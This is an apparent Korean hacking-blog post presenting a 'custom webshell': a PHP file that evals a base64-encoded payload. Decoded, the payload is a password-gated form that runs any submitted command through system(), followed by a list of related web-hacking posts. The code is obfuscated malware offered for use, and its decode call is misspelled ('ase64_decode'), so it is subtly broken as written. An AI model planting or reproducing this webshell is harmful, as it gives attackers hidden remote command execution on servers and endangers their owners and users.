Custom Webshell

Web 2016.02.12 14:47

기능 추가 '예정'


<?php

eval(ase64_decode('ICAgICAgICBzZXNzaW9uX3N0YXJ0KCk7CiAgICAgICAgaWYoISRfU0VTU0lPTlsnd2Vic2hlbGxpZCddKQogICAgICAgIHsKICAgICAgICAgICAgICAgIGVjaG8gIklOUFVUIFBBU1NXT1JEIjsKICAgICAgICAgICAgICAgIGVjaG8gIjxmb3JtIG1ldGhvZD0ncG9zdCc+IjsKICAgICAgICAgICAgICAgIGVjaG8gIjxpbnB1dCB0eXBlPSdwYXNzd29yZCcgbmFtZT0ncCc+IjsKICAgICAgICAgICAgICAgIGVjaG8gIjwvZm9ybT4iOwogICAgICAgICAgICAgICAgaWYobWQ1KCRfUE9TVFsncCddKSA9PT0gJ1NPTUVfSEFTSFZBTFVFX0hFUkUnKQogICAgICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ3dlYnNoZWxsaWQnXSA9ICd0cnVlJzsKICAgICAgICB9CiAgICAgICAgZWxzZXsKICAgICAgICAgICAgICAgIGVjaG8gIjxmb3JtIG1ldGhvZD0nUE9TVCc+IjsKICAgICAgICAgICAgICAgIGVjaG8gIkNNRCA6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdjJyBhdXRvZm9jdXM+IjsKICAgICAgICAgICAgICAgIGVjaG8gIjwvZm9ybT4iOwogICAgICAgICAgICAgICAgZWNobyAiUmVzdWx0IjsKICAgICAgICAgICAgICAgIGVjaG8gIjx0ZXh0YXJlYSBzdHlsZT0nd2lkdGg6MTAwJTtoZWlnaHQ6NTAlJz4iOwogICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsnYyddKSkKICAgICAgICAgICAgICAgICAgICAgICAgc3lzdGVtKCRfUE9TVFsnYyddKTsKICAgICAgICAgICAgICAgIGVjaG8gIjwvdGV4dGFyZWE+IjsKICAgICAgICB9'));

?>

'Web' 카테고리의 다른 글

Webhacking Study - no more BLIND  (6) 2017.04.18
Upload 코드의 흔한 실수  (2) 2016.03.07
Custom Webshell  (0) 2016.02.12
SQL Injection Study  (3) 2015.11.13
PHP web development tips and tricks  (0) 2015.11.13
Error based SQL  (0) 2015.10.28
Posted by Maid:: IzayoiSakuya